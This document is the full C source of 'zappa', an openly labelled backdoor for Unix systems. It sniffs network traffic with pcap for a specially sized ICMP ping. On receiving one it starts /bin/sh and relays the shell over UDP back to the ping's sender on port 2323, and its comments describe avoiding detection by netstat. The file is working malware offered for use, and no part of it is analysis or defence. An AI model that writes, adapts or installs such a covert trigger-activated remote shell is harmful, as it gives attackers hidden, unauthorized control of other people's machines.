/***************************************************************************
 * zappa v0.2 - advanced backdoor
 * by Soeren Bleikertz, sb@osdev.de - http://www.sac.cc
 *
 * Description:
 * 'zappa' is an advanced backdoor, which doesn't listen on a TCP-port for
 * clients. It waits for a special ICMP-packet and then it 'connects' back
 * to an UDP-server on the 'client'.
 *
 * ChangeLog
 * - Replaced ICMP-Rawsock with pcap-stuff -> process not listed by netstat
 *
 ****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <time.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>
#include <pcap.h>
#include <netinet/if_ether.h>

//CONFIG
#define PORT 		2323 //53 would be a nice value
#define PKT_SIZE 	100 // ping -s <PKT_SIZE>
#define SHELL 		"/bin/sh"
#define TIMEOUT 	20 //seconds
#define BUFF_SIZE 	8192 //bytes
//EOC

#define BAN_WELCOME 	"evil backd00r - Have a lot of fun..\n" //change this :>
#define BAN_BYE 	"Have a nice day..\n"

//globals
int verbose, silent;
char *pcap_dev;
pcap_t *pcap_desc;

//SIGCHLD-handler
void sig_chld(int signo)
{
	pid_t pid;
	int s;
	while ((pid = waitpid(-1, &s, WNOHANG)) > 0)
		return;
}

//UDP-based and passive backdoor
int backdoor(struct in_addr *src)
{
	struct sockaddr_in cli;
	//fd: child--write-->parent, //fd2: parent--write-->child
	int sock, sock_b, pipe_b, fd[2], fd2[2], highfd; 
	char buffer[BUFF_SIZE];
	socklen_t len;
	pid_t pid;
	fd_set readfds;
	struct timeval tout; //timeout
	
	if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		if (!silent)
			perror("[!] socket() failed");

		return -1;
	}
	
	cli.sin_addr.s_addr = src->s_addr;
	cli.sin_port = htons(PORT);
	cli.sin_family = AF_INET;
	len = sizeof(cli);
	
	FD_ZERO(&readfds);
	
	sendto(sock, BAN_WELCOME, sizeof(BAN_WELCOME), 0,
		(struct sockaddr*)&cli, len);
	if (!silent)
		printf("[+] send banner\n");
	
	if ((pipe(fd) == -1) || (pipe(fd2) == -1)) {
		if (!silent)
			perror("[!] pipe() failed");
		return -1;
	}		
	//child
	if ((pid=fork()) == 0) {
			close(fd[0]); //close read-pipe
			close(fd2[1]); //close write-pipe
			//redirect I/O
			dup2(fd2[0], 0);
			dup2(fd[1], 1);
			dup2(fd[1], 2);
			execl(SHELL, SHELL, NULL); //start shell
			close(fd[1]);
			close(fd2[0]);
			exit(0);
	}
	//parent
	else if (pid > 0) {
		close(fd[1]); //close write-pipe
		close(fd2[0]); //close read-pipe
		
		fcntl(sock, F_SETFL, O_NONBLOCK);
		fcntl(fd[0], F_SETFL, O_NONBLOCK);
	
		highfd = (sock > fd[0]) ?sock :fd[0];
	
		if (!silent)
			printf("[+] select()..\n");
		
		while(1) {
			FD_SET(sock,&readfds);
			FD_SET(fd[0],&readfds);
			
			bzero(buffer, sizeof(buffer));
			
			tout.tv_sec = TIMEOUT;
			tout.tv_usec = 0;
		
			select(highfd+1, &readfds,NULL,NULL,&tout);
		
			sock_b = recvfrom(sock, buffer, sizeof(buffer), 0,
				(struct sockaddr*)&cli, &len);
			pipe_b = read(fd[0], buffer, sizeof(buffer));
		
			if (sock_b > 0) {
				//verify src-addr
				if (src->s_addr != cli.sin_addr.s_addr)
					continue;
				write(fd2[1], buffer, sock_b);
			}
		
			if (pipe_b > 0) {
				buffer[pipe_b] = 0;
				sendto(sock, buffer, pipe_b, 0,
					(struct sockaddr*)&cli, len);
			}
		
			if ((!pipe_b) || (!sock_b))
				break;
		}
		close(fd[0]); //close pipe
		close(fd2[1]); //close pipe
		sendto(sock, BAN_BYE, sizeof(BAN_BYE), 0,
			(struct sockaddr*)&cli, len);
		close(sock); //close socket
	}
	else {
		if (!silent)
			perror("[!] fork() failed");
		return -1;
	}

	return 0;
}

void usage(void)
{
	printf("usage: zappa [opt]\n"
		"\t-v\tverbose mode\n"
		"\t-s\tsilent mode\n"
		"\t-i <dev>\tdevice for pcap\n\n");
	exit(0);
}

//mostly from stevens
int pcap_init(void)
{
	int snaplen = PKT_SIZE+sizeof(struct ether_header)+sizeof(struct iphdr)+sizeof(struct icmphdr)+1;
	//struct bpf_program filter;
	char err_buf[PCAP_ERRBUF_SIZE];
	uint32_t localnet, netmask;
	
	if (pcap_dev == NULL)
		if ((pcap_dev = pcap_lookupdev(err_buf)) == NULL)
			if (!silent) {
				printf("[!] pcap_lookupdev() failed: %s\n", err_buf);
				return -1;
			}
	if (!silent)
		printf("[+] using dev: %s\n", pcap_dev);
	
	if (((pcap_desc = pcap_open_live(pcap_dev, snaplen, 0, 500, err_buf)) == NULL)
		&& (!silent)){
		printf("[!] pcap_open_live() failed: %s\n", err_buf);
		return -1;
	}
	
	if ((pcap_lookupnet(pcap_dev, &localnet, &netmask, err_buf) <0) && (!silent)) {
		printf("[!] pcap_lookupnet() failed: %s\n", err_buf);
		return -1;
	}
	
	return 0;
}

void icmp_watch(void)
{
	char *ptr;
	struct pcap_pkthdr hdr;
	int len;
	struct ether_header *eptr;
	struct ip *iphdr;
	struct icmphdr *icmph;
		
	while(1) {
		while((ptr = (char*) pcap_next(pcap_desc, &hdr)) == NULL);
		
		len = hdr.caplen;
		
		eptr = (struct ether_header*) ptr;
		if (ntohs(eptr->ether_type) != ETHERTYPE_IP)
			continue;
		
		iphdr = (struct ip*)(ptr+14);
		icmph = (struct icmphdr*)(ptr+14+sizeof(struct ip));

		if ((len == (PKT_SIZE+sizeof(struct ether_header)+sizeof(struct iphdr)+
				sizeof(struct icmphdr))) &&
			(iphdr->ip_v == 4) && (iphdr->ip_p == IPPROTO_ICMP)
			&& (icmph->type == ICMP_ECHO)
			) {
				if (!silent)
					printf("[+] starting backdoor..\n");
				backdoor(&(iphdr->ip_src));
				if (!silent)
					printf("[+] backdoor closed\n");
			}
	}
	
}

int main (int argc, char **argv)
{
	int foo;
	
	// init sig-handler for childs
	signal(SIGCHLD,sig_chld);
	
	while ((foo = getopt(argc, argv, "i:vs")) != -1) {
		switch(foo) {
			case 's': silent++; break;
			case 'v': verbose++; break;
			case 'i': pcap_dev = optarg; break;
			case '?': printf("[!] unknown option\n");
				usage(); break;
		}
	}	
	
	if (!silent)
		printf("[+] zappa backdoor by soeren, sac.cc\n");
	
	if (pcap_init() == -1) {
		printf("[!] pcap_init failed\n");
		return -1;
	}
	
	icmp_watch();

	return 0;
}
//EOF

